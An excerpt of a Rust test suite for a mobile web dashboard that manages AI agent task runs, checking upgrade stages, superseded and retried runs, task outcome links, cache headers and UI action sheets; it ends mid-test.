22559 }
22560
22561 #[test]
22562 fn the_upgrade_button_names_its_destination() {
22563 assert!(
22564 APP_JS.contains("`Update to ${update.to}`"),
22565 "pressing the button should not be a surprise about what it moves to"
22566 );
22567 }
22568
22569 #[test]
22570 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
22571 for stage in ["downloading", "replaced", "parking", "restarting"] {
22572 assert!(
22573 APP_JS.contains(&format!("\"{stage}\"")),
22574 "the phone must be able to tell {stage} apart from the others"
22575 );
22576 }
22577 assert!(APP_JS.contains(".waiting_on"));
22578 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
22583 assert!(APP_JS.contains("reconnects on its own"));
22584 }
22585
22586 #[test]
22587 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
22588 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
22589 ..APP_JS.find("function upgrade(").expect("upgrade")];
22590 assert!(!body.contains(
22591 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
22592 ));
22593 assert!(body.contains("renderUpgradeError();"));
22594 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
22595 }
22596
22597 #[test]
22598 fn an_overdue_upgrade_eventually_asks_for_a_human() {
22599 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
22602 assert!(APP_JS.contains("function upgradeOverdue("));
22603 }
22604
22605 #[test]
22606 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
22607 assert!(
22608 APP_JS.contains("Updated to ${upgradeInfo.to"),
22609 "the operator who asked for the restart wants to know it worked"
22610 );
22611 }
22612
22613 #[test]
22614 fn an_error_is_visible_from_where_the_button_is() {
22615 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22620 ..APP_CSS.find(".alert-text").expect(".alert-text")];
22621 assert!(
22622 alert.contains("position: fixed"),
22623 "an error about the thing under your thumb has to be visible from \
22624 where your thumb is: {alert}"
22625 );
22626 assert!(
22627 alert.contains("z-index: 25"),
22628 "above the dock (20) and the run-actions FAB (15), so neither \
22629 buries it: {alert}"
22630 );
22631 assert!(
22632 alert.contains("var(--tap)"),
22633 "and clear of the dock and the home indicator: {alert}"
22634 );
22635 assert!(
22638 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22639 "the FAB's column stays free: {alert}"
22640 );
22641 }
22642
22643 #[tokio::test]
22644 async fn an_older_attempt_says_what_replaced_it() {
22645 let fx = Fixture::start().await;
22646 let q = fx.queue();
22647 let runs = fx.runs();
22648 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22649 write_run(&runs, first, RunStatus::Stalled);
22650 write_run(&runs, second, RunStatus::Blocked);
22651
22652 let mut t = Task::new(
22653 "one task".to_owned(),
22654 "do it".to_owned(),
22655 PathBuf::from("/repo"),
22656 Source::Human,
22657 );
22658 t.runs = vec![first.to_owned(), second.to_owned()];
22659 q.put(&mut t).expect("put");
22660
22661 let rows = fx.get("/api/runs").await.json();
22665 let by = |short: &str| -> Value {
22666 rows.as_array()
22667 .unwrap()
22668 .iter()
22669 .find(|r| r["short"] == short)
22670 .cloned()
22671 .unwrap_or(Value::Null)
22672 };
22673 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22674 assert!(
22675 by("bbbb")["superseded_by"].is_null(),
22676 "the latest attempt is not superseded by anything"
22677 );
22678 assert!(APP_JS.contains("run.superseded_by"));
22680 assert!(APP_JS.contains("Superseded by"));
22681 }
22682
22683 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22684 let mut t = Task::new(
22685 "one task".to_owned(),
22686 "do it".to_owned(),
22687 PathBuf::from("/repo"),
22688 Source::Human,
22689 );
22690 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22691 t.status = status;
22692 t
22693 }
22694
22695 #[test]
22696 fn source_link_picks_the_page_that_filed_the_task() {
22697 let agent = |node: &str| Source::Agent {
22698 run: "20260904-014455-ab12".to_owned(),
22699 node: node.to_owned(),
22700 };
22701 let chat = source_link(&agent("chat")).expect("chat link");
22702 assert_eq!(chat.kind, "chat");
22703 assert_eq!(chat.id, "20260904-014455-ab12");
22704 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22705 let run = source_link(&agent("implement")).expect("run link");
22706 assert_eq!(
22707 (run.kind, run.href.as_str()),
22708 ("run", "#/runs/20260904-014455-ab12")
22709 );
22710 assert_eq!(source_link(&Source::Human), None);
22711 assert_eq!(
22712 source_link(&Source::Issue {
22713 number: 3,
22714 repo: "o/r".to_owned()
22715 }),
22716 None
22717 );
22718 let odd = source_link(&Source::Agent {
22719 run: "a b/c".to_owned(),
22720 node: "chat".to_owned(),
22721 })
22722 .expect("link");
22723 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22724 }
22725
22726 #[test]
22727 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22728 assert!(
22729 !APP_JS.contains("src.node === \"chat\""),
22730 "inline href rule is back"
22731 );
22732 assert!(
22733 APP_JS.matches("sourceLinkOf(").count() >= 4,
22734 "helper must serve every page"
22735 );
22736 assert!(
22737 APP_JS.matches("openChatLink(").count() >= 3,
22738 "the run page still needs its explicit chat link"
22739 );
22740 assert!(
22741 !APP_JS.contains("const openChat = el("),
22742 "the Queue card duplicates its source label link again"
22743 );
22744 assert!(
22745 APP_JS.contains("metaKids.push(link ? el(\"a\""),
22746 "the task page must link a chat source label too"
22747 );
22748 }
22749
22750 #[test]
22751 fn task_ref_carries_the_source_link_for_a_chat_task() {
22752 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22753 t.source = Source::Agent {
22754 run: "20260904-014455-ab12".to_owned(),
22755 node: "chat".to_owned(),
22756 };
22757 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22758 let v = serde_json::to_value(&out).expect("json");
22759 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22760 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22761 assert_eq!(v["source_label"], t.source.label());
22762
22763 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22764 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22765 .expect("json");
22766 assert!(v["source_link"].is_null(), "{v}");
22767 }
22768
22769 #[test]
22770 fn task_view_serializes_source_link() {
22771 let mut t = Task::new(
22772 "t".to_owned(),
22773 "t".to_owned(),
22774 PathBuf::from("/repo"),
22775 Source::Agent {
22776 run: "20260901-000000-aaaa".to_owned(),
22777 node: "implement".to_owned(),
22778 },
22779 );
22780 t.runs.clear();
22781 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22782 assert_eq!(v["source_link"]["kind"], "run", "{v}");
22783 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22784 }
22785
22786 #[test]
22787 fn task_view_serializes_urgent_flag() {
22788 let mut t = Task::new(
22789 "t".to_owned(),
22790 "t".to_owned(),
22791 PathBuf::from("/repo"),
22792 Source::Human,
22793 );
22794 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22795 assert_eq!(v["urgent"], false, "{v}");
22796 t.urgent = true;
22797 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22798 assert_eq!(v["urgent"], true, "{v}");
22799 assert!(APP_JS.contains("task.urgent === true"));
22800 }
22801
22802 #[tokio::test]
22803 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22804 let fx = Fixture::start().await;
22805 let runs = fx.runs();
22806 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22807 write_run(&runs, old, RunStatus::Blocked);
22808 write_run(&runs, new, RunStatus::Merged);
22809 let mut t = outcome_task(&[old, new], TaskStatus::Done);
22810 fx.queue().put(&mut t).expect("put");
22811
22812 let view = fx.get(&format!("/api/runs/{old}")).await.json();
22813 let task = &view["task"];
22814 assert_eq!(task["status"], "done");
22815 assert_eq!(task["is_latest"], false);
22816 assert_eq!(task["latest"]["short"], "bbbb");
22817 assert_eq!(task["finished_by"]["id"], new);
22818 assert_eq!(task["finished_by"]["outcome"], "merged");
22819 assert_eq!(task["closed_by_hand"], false);
22820 assert_eq!(view["status"], "blocked", "the run keeps its own status");
22821 assert!(APP_JS.contains("finished_by"));
22822 assert!(APP_JS.contains("superseded by run"));
22823 }
22824
22825 #[tokio::test]
22826 async fn the_latest_run_reports_a_held_task_without_a_successor() {
22827 let fx = Fixture::start().await;
22828 let runs = fx.runs();
22829 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22830 write_run(&runs, old, RunStatus::Stalled);
22831 write_run(&runs, new, RunStatus::Blocked);
22832 let mut t = outcome_task(&[old, new], TaskStatus::Held);
22833 fx.queue().put(&mut t).expect("put");
22834
22835 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22836 assert_eq!(task["status"], "held");
22837 assert_eq!(task["is_latest"], true);
22838 assert!(task["latest"].is_null());
22839 assert!(task["finished_by"].is_null());
22840 assert_eq!(task["closed_by_hand"], false);
22841 }
22842
22843 #[tokio::test]
22844 async fn a_direct_run_has_no_task_outcome() {
22845 let fx = Fixture::start().await;
22846 let runs = fx.runs();
22847 let id = "20260901-000000-aaaa";
22848 write_run(&runs, id, RunStatus::Blocked);
22849 let view = fx.get(&format!("/api/runs/{id}")).await.json();
22850 assert!(view["task"].is_null());
22851 }
22852
22853 #[test]
22854 fn task_outcome_does_not_guess_a_finishing_run() {
22855 let a = "20260901-000000-aaaa";
22856 let b = "20260901-000000-bbbb";
22857 let c = "20260901-000000-cccc";
22858 let dir = tempfile::tempdir().expect("tempdir");
22859 write_run(dir.path(), a, RunStatus::Blocked);
22860 write_run(dir.path(), b, RunStatus::VerifiedNoop);
22861 let read = |id: &str| read_run(dir.path(), id).ok();
22863 let t = outcome_task(&[a, b, c], TaskStatus::Done);
22866 let out = task_outcome(&t, a, 3, read);
22867 assert!(out.finished_by.is_none());
22868 assert!(out.closed_by_hand);
22869 let latest = out.latest.expect("latest");
22870 assert_eq!(latest.id, c);
22871 assert_eq!(latest.status, None);
22872 assert_eq!(latest.outcome, "record unreadable");
22873
22874 write_run(dir.path(), c, RunStatus::Ready);
22876 let t = outcome_task(&[a, c], TaskStatus::Done);
22877 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22878 assert_eq!(out.finished_by.expect("finisher").id, c);
22879 assert!(!out.closed_by_hand);
22880
22881 let t = outcome_task(&[a, b, a], TaskStatus::Held);
22883 assert!(task_outcome(&t, a, 3, read).is_latest);
22884 }
22885
22886 #[tokio::test]
22887 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22888 let fx = Fixture::start().await;
22893 let q = fx.queue();
22894 let runs = fx.runs();
22895 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22896 write_run(&runs, first, RunStatus::Blocked);
22897 write_run(&runs, second, RunStatus::Merged);
22898
22899 let mut t = Task::new(
22900 "one task".to_owned(),
22901 "do it".to_owned(),
22902 PathBuf::from("/repo"),
22903 Source::Human,
22904 );
22905 t.runs = vec![first.to_owned(), second.to_owned()];
22906 q.put(&mut t).expect("put");
22907
22908 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22909 assert_eq!(earlier["superseded_by"], "dddd");
22910 assert_eq!(earlier["latest_attempt"]["id"], second);
22911 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22912 assert_eq!(
22913 earlier["latest_attempt"]["resolved"], true,
22914 "the run that replaced it landed, so this one reads as settled"
22915 );
22916
22917 let later = fx.get(&format!("/api/runs/{second}")).await.json();
22918 assert!(
22919 later["superseded_by"].is_null(),
22920 "the latest attempt is not superseded by anything"
22921 );
22922 assert!(
22923 later["latest_attempt"].is_null(),
22924 "the latest attempt has no later attempt of its own"
22925 );
22926
22927 assert!(APP_JS.contains("run.latest_attempt"));
22934 assert!(APP_JS.contains("data-superseded"));
22935 assert!(APP_JS.contains("#/runs/${latest.id}"));
22936 }
22937
22938 #[tokio::test]
22939 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22940 let fx = Fixture::start().await;
22946 let q = fx.queue();
22947 let runs = fx.runs();
22948 let (a, b, c) = (
22949 "20260901-000000-aaaa",
22950 "20260901-000000-bbbb",
22951 "20260901-000000-cccc",
22952 );
22953 write_run(&runs, a, RunStatus::Blocked);
22954 write_run(&runs, b, RunStatus::Blocked);
22955 write_run(&runs, c, RunStatus::Merged);
22956
22957 let mut t = Task::new(
22958 "retried twice".to_owned(),
22959 "do it".to_owned(),
22960 PathBuf::from("/repo"),
22961 Source::Human,
22962 );
22963 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22964 q.put(&mut t).expect("put");
22965
22966 let view = fx.get(&format!("/api/runs/{a}")).await.json();
22967 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22968 assert_eq!(
22969 view["latest_attempt"]["id"], c,
22970 "the chain's current head, not the intermediate Blocked retry"
22971 );
22972 assert_eq!(view["latest_attempt"]["resolved"], true);
22973
22974 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22975 assert_eq!(mid["latest_attempt"]["id"], c);
22976 assert_eq!(mid["latest_attempt"]["resolved"], true);
22977 }
22978
22979 #[tokio::test]
22980 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22981 let fx = Fixture::start().await;
22982 let q = fx.queue();
22983 let runs = fx.runs();
22984
22985 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22988 write_run(&runs, still_blocked_a, RunStatus::Blocked);
22989 write_run(&runs, still_blocked_b, RunStatus::Blocked);
22990 let mut t1 = Task::new(
22991 "still stuck".to_owned(),
22992 "do it".to_owned(),
22993 PathBuf::from("/repo"),
22994 Source::Human,
22995 );
22996 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22997 q.put(&mut t1).expect("put");
22998 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22999 assert_eq!(view1["latest_attempt"]["resolved"], false);
23000 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23001 assert_eq!(view1["latest_attempt"]["done"], true);
23002
23003 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23005 write_run(&runs, run_a, RunStatus::Blocked);
23006 write_run(&runs, run_b, RunStatus::Implementing);
23007 let mut t3 = Task::new(
23008 "retrying".to_owned(),
23009 "do it".to_owned(),
23010 PathBuf::from("/repo"),
23011 Source::Human,
23012 );
23013 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23014 q.put(&mut t3).expect("put");
23015 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23016 assert_eq!(view3["latest_attempt"]["id"], run_b);
23017 assert_eq!(view3["latest_attempt"]["resolved"], false);
23018 assert_eq!(view3["latest_attempt"]["done"], false);
23019
23020 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23025 write_run(&runs, noop_a, RunStatus::Blocked);
23026 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23027 let mut t2 = Task::new(
23028 "claims done".to_owned(),
23029 "do it".to_owned(),
23030 PathBuf::from("/repo"),
23031 Source::Human,
23032 );
23033 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23034 q.put(&mut t2).expect("put");
23035 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23036 assert_eq!(
23037 view2["latest_attempt"]["resolved"], false,
23038 "an unverified no-op claim must not read as a confirmed finish"
23039 );
23040
23041 assert!(APP_JS.contains("latest.resolved"));
23044 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23047 assert!(APP_JS.contains("Latest attempt: "));
23048 assert!(APP_JS.contains("in flight"));
23049 assert!(APP_JS.contains("not resolved"));
23050 }
23051
23052 #[tokio::test]
23053 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23054 let fx = Fixture::start().await;
23055 let js = fx.get("/app.js").await;
23061 assert_eq!(js.status, 200);
23062 let tag = js
23063 .header("etag")
23064 .expect("an etag to revalidate against")
23065 .to_owned();
23066 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23067 assert_eq!(
23068 js.header("cache-control"),
23069 Some("no-cache, must-revalidate"),
23070 "the phone has to ask every time"
23071 );
23072
23073 let again = fx
23076 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23077 .await;
23078 assert_eq!(
23079 again.status, 304,
23080 "a deck it already has costs one round trip"
23081 );
23082 assert!(again.body.is_empty(), "304 carries no body");
23083
23084 let weak = fx
23087 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23088 .await;
23089 assert_eq!(weak.status, 304);
23090 let stale = fx
23091 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23092 .await;
23093 assert_eq!(stale.status, 200, "an older build must be replaced");
23094 assert!(stale.body.contains("renderRunActions"));
23095 }
23096
23097 #[test]
23098 fn the_task_detail_has_an_actions_fab_and_sheet() {
23099 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23100 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23101 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23102 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23104 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23105 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23107 assert!(APP_JS.contains("renderTaskActions(null);"));
23108 let sheet = APP_JS
23110 .find("function renderTaskActions")
23111 .expect("sheet renderer");
23112 let body = &APP_JS[sheet..sheet + 3000];
23113 assert!(body.contains("changePriority("));
23114 assert!(body.contains("openTaskEdit(task)"));
23115 assert!(body.contains("renderTaskHoldBox(host"));
23116 assert!(body.contains("renderTaskDoneBox(host"));
23117 assert!(body.contains("renderTaskDeleteBox(host"));
23118 assert!(APP_JS.contains("API.priority(id)"));
23119 assert!(APP_JS.contains("API.deleteTask(id)"));
23120 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23122 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23124 }
23125
23126 #[test]
23127 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23128 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23129 let actions = INDEX_HTML
23130 .find("id=\"run-actions-box\"")
23131 .expect("actions box");
23132 assert!(task < actions, "the task entry comes first in the sheet");
23133 assert!(APP_JS.contains("renderRunTaskEntry"));
23134 assert!(APP_JS.contains("\"Open task \""));
23135 assert!(APP_JS.contains("started directly, no task"));
23137 assert!(APP_JS.contains("sheet-task-link"));
23138 assert!(APP_JS.contains("task-chip-link"));
23139 }
23140
23141 #[test]
23142 fn the_deck_never_sends_the_operator_to_a_terminal() {
23143 assert!(
23146 !APP_JS.contains("Run `magi fold` first"),
23147 "the deck must offer the fold, not prescribe a shell command"
23148 );
23149 assert!(APP_JS.contains("foldRun:"));
23150 assert!(APP_JS.contains("resumeRun:"));
23151 assert!(APP_JS.contains("renderRunActions"));
23152
23153 assert!(APP_JS.contains("armedFold"));
23155 assert!(APP_JS.contains("Yes, fold worktrees"));
23156
23157 assert!(APP_JS.contains("can no longer be resumed"));
23160 }
23161
23162 #[test]
23163 fn a_finished_run_explains_itself_with_its_own_last_line() {
23164 assert!(
23170 !APP_JS.contains("collapsed on agent quota"),
23171 "a stall must not be explained by a cause the deck did not check"
23172 );
23173 assert!(
23174 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23175 "and a block must not offer a guess with an `or` in it"
23176 );
23177
23178 assert!(
23182 APP_JS.contains("setText(r.event, run.event || \"\")"),
23183 "the run's last line is rendered unconditionally"
23184 );
23185 assert!(
23186 !APP_JS.contains("moving && run.event"),
23187 "and never gated on the run still moving"
23188 );
23189
23190 assert!(APP_JS.contains("lost to quota"));
23192 }
23193
23194 #[test]
23216 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23217 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23218 let shapes_body_start =
23219 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23220 let shapes_close = APP_JS[shapes_body_start..]
23221 .find("].map(")
23222 .expect("the shape list is closed by its done-computing .map(...)")
23223 + shapes_body_start;
23224 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23225
23226 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23227 for entry in shapes_src.split('{').skip(1) {
23228 let waiting = entry.contains("waiting: true");
23229 let dead = entry.contains("live: \"dead\"");
23230 let status_at =
23231 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23232 let status_end = entry[status_at..]
23233 .find('"')
23234 .expect("the status string is closed")
23235 + status_at;
23236 let parked = entry.contains("display_status: \"parked\"");
23237 shapes.push((
23238 waiting,
23239 entry[status_at..status_end].to_string(),
23240 dead,
23241 parked,
23242 ));
23243 }
23244 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23245
23246 let done_rule_marker = "done: !";
23250 let done_rule_at = APP_JS[shapes_close..]
23251 .find(done_rule_marker)
23252 .expect("the done rule follows the shape list")
23253 + shapes_close
23254 + done_rule_marker.len();
23255 let includes_at = APP_JS[done_rule_at..]
23256 .find(".includes(shape.status)")
23257 .expect("the done rule ends in .includes(shape.status)")
23258 + done_rule_at;
23259 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23260 .trim()
23261 .trim_start_matches('[')
23262 .trim_end_matches(']')
23263 .split(',')
23264 .map(|s| s.trim().trim_matches('"'))
23265 .filter(|s| !s.is_empty())
23266 .collect();
23267
23268 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23269 .into_iter()
23270 .map(|(waiting, status, dead, parked)| {
23271 let done = !not_done.contains(&status.as_str());
23272 (waiting, status, dead, parked, done)
23273 })
23274 .collect();
23275
23276 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23280 if waiting {
23281 return "waiting";
23282 }
23283 if dead
23284 && !parked
23285 && !matches!(
23286 status,
23287 "merged"
23288 | "ready"
23289 | "stalled"
23290 | "blocked"
23291 | "failed"
23292 | "verified_noop"
23293 | "superseded"
23294 | "already_in_base"
23295 )
23296 {
23297 return "stale";
23298 }
23299 match status {
23300 "merged" | "ready" => "landed",
23301 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23302 | "already_in_base" => "ended",
23303 _ => "flight",
23304 }
23305 }
23306
23307 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23310 match filter_key {
23311 "active" => !done,
23312 "flight" => !done && !waiting && !dead,
23313 "stale" => !done && !waiting && dead,
23314 "waiting" => waiting,
23315 "done" => done,
23316 "all" => true,
23317 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23318 }
23319 }
23320
23321 let compatible = |section: &str, filter_key: &str| {
23322 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23323 run_section(*waiting, status, *dead, *parked) == section
23324 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23325 })
23326 };
23327
23328 let expected = [
23333 ("waiting", [true, false, false, true, true, true]),
23334 ("stale", [true, false, true, false, false, true]),
23335 ("flight", [true, true, false, false, false, true]),
23336 ("landed", [false, false, false, false, true, true]),
23337 ("ended", [false, false, false, false, true, true]),
23338 ];
23339 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23340
23341 for (section, wants) in expected {
23342 for (filter_key, want) in filter_keys.iter().zip(wants) {
23343 assert_eq!(
23344 compatible(section, filter_key),
23345 want,
23346 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23347 );
23348 }
23349 }
23350
23351 assert!(
23354 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23355 );
23356 assert!(APP_JS.contains(
23357 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23358 ));
23359 assert!(APP_JS.contains(
23360 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23361 ));
23362 }
23363
23364 #[tokio::test]
23365 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23366 let dir = tempfile::tempdir().expect("tempdir");
23370 let explicit = dir.path().join("not-a-checkout");
23371 std::fs::create_dir_all(&explicit).expect("create dir");
23372 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23373
23374 let missing = dir.path().join("does-not-exist-at-all");
23375 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23376 }
23377
23378 #[test]
23379 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23380 assert!(APP_JS.contains("function statsDonutArcs"));
23381 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23382 assert!(APP_JS.contains("function statusInBucket"));
23384 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23385 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23386 let buckets = [
23387 "merged",
23388 "ready",
23389 "in_progress",
23390 "blocked",
23391 "failed",
23392 "verified_noop",
23393 "superseded",
23394 "stalled",
23395 ];
23396 for key in buckets {
23397 let var = format!("--verdict-{key}:");
23398 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23400 assert!(
23401 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23402 "{key}"
23403 );
23404 }
23405 }
23406
23407 #[tokio::test]
23408 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23409 let dir = tempfile::tempdir().expect("tempdir");
23410 let queue = Queue::at(dir.path().join("queue"));
23411 let talks = Talks::at(dir.path().join("talks"));
23412 std::fs::create_dir_all(queue.root()).unwrap();
23413 std::fs::create_dir_all(talks.root()).unwrap();
23414
23415 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23417 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23418
23419 let mut task = Task::new(
23421 "title".into(),
23422 "inst".into(),
23423 PathBuf::from("/repo"),
23424 Source::Human,
23425 );
23426 task.id = "20261019-123456-abcd".into();
23427 std::fs::write(
23429 queue.path_of(&task.id),
23430 serde_json::to_string(&task).unwrap(),
23431 )
23432 .unwrap();
23433
23434 let talk_id = "20261019-234567-cdef";
23435 seed_talk_at(&talks, talk_id, "open");
23436
23437 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23439 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23440
23441 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23443 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23444 }
23445
23446 #[tokio::test]
23447 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23448 let home = tempfile::tempdir().unwrap();
23449 let ui = delta_test_ui(home.path());
23450 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23452 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23453 assert!(
23454 questions_list(State(ui.clone()))
23455 .await
23456 .unwrap()
23457 .0
23458 .is_empty()
23459 );
23460 assert!(
23461 question_origins(State(ui.clone()))
23462 .await
23463 .unwrap()
23464 .0
23465 .is_empty()
23466 );
23467 let mut question = Question::new(
23468 "run-history".into(),
23469 "review".into(),
23470 "seat".into(),
23471 "Useful question".into(),
23472 "Useful detail".into(),
23473 vec![],
23474 );
23475 ui.questions.put(&mut question).unwrap();
23476 let core = questions_core(State(ui.clone())).await.unwrap().0;
23477 assert_eq!(core.len(), 1);
23478 assert_eq!(core[0].question.summary, "Useful question");
23479 assert!(!core[0].can_consult_chat);
23480 assert!(core[0].origin_chat.is_none());
23481 assert_eq!(core[0].record_revision, question_record_revision(&question));
23482 assert!(question_origins(State(ui.clone())).await.is_err());
23483 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23484 }
23485
23486 #[tokio::test]
23487 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23488 let home = tempfile::tempdir().unwrap();
23489 let ui = delta_test_ui(home.path());
23490 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23491 let mut parent = Task::new(
23492 "parent".into(),
23493 "body".into(),
23494 PathBuf::from("/repo"),
23495 Source::Agent {
23496 run: chat.clone(),
23497 node: crate::queue::CHAT_NODE.into(),
23498 },
23499 );
23500 parent.id = "parent-task".into();
23501 parent.runs = vec!["parent-run".into()];
23502 ui.queue.put(&mut parent).unwrap();
23503 let mut previous = parent;
23504 for generation in 1..=2 {
23505 let mut child = Task::new(
23506 "child".into(),
23507 "body".into(),
23508 PathBuf::from("/repo"),
23509 Source::Human,
23510 );
23511 child.id = format!("child-task-{generation}");
23512 child.runs = vec![format!("child-run-{generation}")];
23513 child.followup = Some(crate::queue::FollowUp {
23514 origin_task: Some(previous.id.clone()),
23515 run: previous.runs[0].clone(),
23516 pr: String::new(),
23517 findings: vec![],
23518 generation,
23519 });
23520 ui.queue.put(&mut child).unwrap();
23521 previous = child;
23522 }
23523 let mut collision = Task::new(
23526 "collision".into(),
23527 String::new(),
23528 PathBuf::from("/repo"),
23529 Source::Human,
23530 );
23531 collision.id = "collision-task".into();
23532 collision.runs = vec![previous.id.clone()];
23533 ui.queue.put(&mut collision).unwrap();
23534 let mut questions = Vec::new();
23535 for (node, reference, expected, eligible) in [
23536 (crate::triage::NODE, previous.id.as_str(), true, false),
23537 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23538 ("review", previous.runs[0].as_str(), true, true),
23539 (
23540 crate::bump::NOTICE_NODE,
23541 previous.runs[0].as_str(),
23542 true,
23543 false,
23544 ),
23545 ("review", previous.id.as_str(), false, false),
23547 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23548 ("review", "unrelated", false, false),
23549 ] {
